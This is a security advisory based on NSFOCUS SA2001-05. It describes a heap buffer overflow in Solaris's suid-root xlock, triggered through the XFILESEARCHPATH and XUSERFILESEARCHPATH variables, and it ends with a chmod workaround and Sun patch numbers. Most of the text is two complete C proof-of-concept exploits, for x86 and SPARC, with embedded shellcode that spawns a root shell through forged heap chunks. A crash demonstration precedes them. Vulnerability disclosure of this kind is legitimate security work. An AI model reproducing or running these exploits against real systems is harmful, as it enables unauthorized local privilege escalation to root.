|
COMMAND xlock SYSTEMS AFFECTED Solaris 2.6, 7, 8 PROBLEM Following is based on a NSFOCUS Security Advisory SA2001-05. NSFOCUS Security Team has found a heap buffer overflow vulnerability in the xlock shipped in Solaris system when handling some environment variables. Exploitation of it would allow a local attacker to obtain root privilege. Xlock is a screen-locking tool of Solaris OpenView. It locks the X server until a password is entered. It is installed suid root by default. It has an invalid boundary check in some environment variable handling. As the result, an attacker could overwrite dynamic memory boundary of heap area, run arbitrary code as root with carefully constructed overflow data. The problem is within these two environment variables: "XFILESEARCHPATH" and "XUSERFILESEARCHPATH". Xlock calls malloc() to allocate 1024 bytes memory and save the environment variable value in this dynamic memory. But xlock does not provide length check of environment variable when copying. In case that these two environment variables are set to be a string longer than 1024 bytes, a heap overflow might occur. Adjacent dynamic memory boundary tags could be overwritten, and segment fault would occur when malloc() is called next time. Some special "feature" of libc malloc()/free() implementation could be used to rewrite arbitrary memory like saved returned address and function pointer or other important data with carefully formed overflow data. Exploiting this vulnerability successfully would give an attacker root privilege. bash-2.03$ uname -a SunOS sun8 5.8 Generic sun4u sparc SUNW,Ultra-5_10 bash-2.03$ cp /usr/openwin/bin/xlock /tmp/xlock bash-2.03$ export XFILESEARCHPATH=3D`perl -e 'print "A"x1028'` bash-2.03$ /tmp/xlock Segmentation Fault bash-2.03$ truss -u libc:malloc,free /tmp/xlock <...snip...> <- libc:malloc() =3D 0x1135d0 -> libc:malloc(0x400, 0xffbefa8d, 0xffffffff, 0x1b648) <- libc:malloc() =3D 0x1139d0 open("AAAAAAA...AAAAAAAAAAAAAAA", O_RDONLY) Err#78 ENAMETOOLONG -> libc:free(0x1139d0, 0x0, 0xff31c000, 0x1b648) <- libc:free() =3D 0 -> libc:malloc(0x400, 0x12, 0x0, 0x10ed49) <- libc:malloc() =3D 0x1139d0 open("/export/home/test/XLock", O_RDONLY) Err#2 ENOENT -> libc:free(0x1139d0, 0x0, 0xff31c000, 0x7efefeff) <- libc:free() =3D 0 -> libc:malloc(0x3, 0x3073b, 0xffffffff, 0x3a300000) <- libc:malloc() =3D 0x1135e0 Incurred fault #6, FLTBOUNDS %pc =3D 0xFF0C0F4C siginfo: SIGSEGV SEGV_MAPERR addr=3D0x41527F18 Received signal #11, SIGSEGV [default] siginfo: SIGSEGV SEGV_MAPERR addr=3D0x41527F18 *** process killed *** x86 exploit code: /* * sol_x86_xlockex.c - Proof of Concept Code for xlock heap overflow bug. * Copyright (c) 2001 - Nsfocus.com * * Tested in Solaris 8 x86. * * DISCLAIMS: * This is a proof of concept code. This code is for test purpose * only and should not be run against any host without permission from * the system administrator. * * NSFOCUS Security Team <security@nsfocus.com> * http://www.nsfocus.com */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <strings.h> #include <sys/types.h> #define RETLOC 0x080463c8 /* default retrun address location (Solaris 8 x86) */ #define SP 0x08047ffc /* default "bottom" stack address (Solaris 8 x86) */ #define VULPROG "/usr/openwin/bin/xlock" char shellcode[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\xeb\x28\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x8b\xec\x83\xec\x64\x33\xd2\xc6\x45\xce\x9a\x89" "\x55\xcf\x89\x55\xd3\xc6\x45\xd3\x07\xc6\x45\xd5" "\xc3\x89\x55\xfc\x83\xed\x32\x33\xc0\x50\x50\xb0" "\xca\xff\xd5\x83\xc4\x08\x31\xc0\x50\x68\x2f\x2f" "\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89" "\xe2\x50\x52\x53\xb0\x3b\xff\xd5"; int main(int argc, char **argv) { char buf[2048], fake_chunk[48]; long retaddr, sp_addr = SP; char *arg[24], *env[24]; long retloc = RETLOC; unsigned int *ptr; char ev1[]="XUSERFILESEARCHPATH="; long ev1_len; long overbuflen = 1024; if (argc > 1) /* adjust retloc */ retloc += atoi(argv[1]); bzero(buf, sizeof(buf)); ev1_len = strlen(ev1); memcpy(buf, ev1, ev1_len); memset(buf + ev1_len, 'A', overbuflen + sizeof(fake_chunk)); arg[0] = VULPROG; arg[1] = NULL; env[0] = shellcode; /* put shellcode in env */ env[1] = buf; /* put overflow environ */ env[2] = NULL; /* end of env */ /* get the not exact shellcode address :) */ retaddr = sp_addr - strlen(VULPROG) - 1 - strlen("i86pc") - 1 - strlen(buf) - 1 - strlen(shellcode) - 1; printf("Using RET address = 0x%lx\n", retaddr); printf("Using retloc = 0x%lx \n", retloc); ptr = (unsigned int *) fake_chunk; memset(fake_chunk, '\xff', sizeof(fake_chunk)); *(ptr + 0) = 0xfffffff9; *(ptr + 2) = retaddr; *(ptr + 8) = retloc - 8; memcpy(buf + ev1_len + overbuflen, fake_chunk, sizeof(fake_chunk)); execve(VULPROG, arg, env); perror("execle"); return(1); } /* End of main */ SPARC exploit code: /* * sol_sparc_xlockex.c - Proof of Concept Code for xlock heap overflow bug. * Copyright (c) 2001 - Nsfocus.com * * Tested in Solaris 2.6/7/8 SPARC * * DISCLAIMS: * This is a proof of concept code. This code is for test purpose * only and should not be run against any host without permission from * the system administrator. * * NSFOCUS Security Team <security@nsfocus.com> * http://www.nsfocus.com */ #include <stdio.h> #include <stdlib.h> #include <sys/systeminfo.h> #define RETLOC 0xffbee8c4 /* default "return address" location (Solaris 7) */ #define SP 0xffbefffc /* default "bottom" stack address (Solaris 7/8) */ #define VULPROG "/usr/openwin/bin/xlock" #define NOP 0xaa1d4015 /* "xor %l5, %l5, %l5" */ char shellcode[] = /* from scz's shellcode for SPARC */ "\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff\xaa\x1d\x40\x15" "\x81\xc3\xe0\x14\xaa\x1d\x40\x15\xaa\x1d\x40\x15\x90\x08\x3f\xff" "\x82\x10\x20\x8d\x91\xd0\x20\x08\x90\x08\x3f\xff\x82\x10\x20\x17" "\x91\xd0\x20\x08\x20\x80\x49\x73\x20\x80\x62\x61\x20\x80\x73\x65" "\x20\x80\x3a\x29\x7f\xff\xff\xff\x94\x1a\x80\x0a\x90\x03\xe0\x34" "\x92\x0b\x80\x0e\x9c\x03\xa0\x08\xd0\x23\xbf\xf8\xc0\x23\xbf\xfc" "\xc0\x2a\x20\x07\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f" "\x82\x10\x20\x01\x91\xd0\x20\x08\x2f\x62\x69\x6e\x2f\x73\x68\xff"; /* get current stack point address */ long get_sp(void) { __asm__("mov %sp,%i0"); } long get_shelladdr(long sp_addr, char **arg, char **env) { long retaddr; int i; char plat[256]; char pad = 0, pad1; int env_len, arg_len, len; /* calculate the length of "VULPROG" + argv[] */ for (i = 0, arg_len = 0; arg[i]!=NULL ; i++) { arg_len += strlen(arg[i]) + 1; } /* calculate the pad nummber . */ pad = 3 - arg_len % 4; printf("shellcode address padding = %d\n", pad); memset(env[0], 'A', pad); env[0][pad] = '\0'; /* get environ length */ for (i = 0, env_len = 0; env[i]!=NULL; i++) { env_len += strlen(env[i]) + 1; } /* get platform info */ sysinfo(SI_PLATFORM, plat, 256); len = arg_len + env_len + strlen(plat) + 1 + strlen(VULPROG) + 1; printf("stack arguments len = %#x(%d)\n", len, len); pad1 = len % 4; if(pad1 == 3 ) pad1 = 5; else pad1 = 4 - pad1; printf("the padding zeros number = %d\n\n", pad1); /* get the exact shellcode address */ retaddr = sp_addr - pad1 /* the trailing zero number */ - strlen(VULPROG) - 1 - strlen(plat) - 1 ; for(i--;i>0;i--) retaddr -= strlen(env[i]) + 1; printf("Using RET address = 0x%x\n", retaddr); return retaddr; } /* End of get_shelladdr */ int main(int argc, char **argv) { char buf[2048], fake_chunk[48]; long retaddr, sp_addr = SP; char *arg[24], *env[24]; char padding[64]; long retloc = RETLOC; unsigned int *ptr; char ev1[]="XUSERFILESEARCHPATH="; long ev1_len; long overbuflen = 1024; if (argc > 1) /* you need adjust retloc offset in your system */ retloc += atoi(argv[1]); arg[0] = VULPROG; arg[1] = NULL; bzero(buf, sizeof(buf)); ev1_len = strlen(ev1); memcpy(buf, ev1, ev1_len); memset(buf + ev1_len, 'A', overbuflen + sizeof(fake_chunk)); env[0] = padding; /* put padding buffer in env */ env[1] = shellcode; /* put shellcode in env */ env[2] = buf; /* put overflow environ */ env[3] = NULL; /* end of env */ /* get stack "bottom" address */ if(((unsigned char) (get_sp() >> 24)) == 0xef) { /* Solaris 2.6 */ sp_addr = SP - 0x0fbf0000; retloc -= 0x0fbf0000; } retaddr = get_shelladdr(sp_addr, arg, env); printf("Using retloc = 0x%x \n", retloc); memset(fake_chunk, '\xff', sizeof(fake_chunk)); ptr = (unsigned int *) fake_chunk; *(ptr + 0) = 0xfffffff9; *(ptr + 2) = retaddr - 8; *(ptr + 8) = retloc - 8; memcpy(buf + ev1_len + overbuflen, fake_chunk, sizeof(fake_chunk)); execve(VULPROG, arg, env); perror("execle"); } /* End of main */ SOLUTION Drop the suid root attribute of xlock: chmod a-s /usr/openwin/bin/xlock Sun's patches to be released for this vulnerability: SPARC x86 --------- --------- Solaris 8 108652-38 108653-33 Solaris 7 108376-30 108377-26 Solaris 2.6 105633-60 106248-45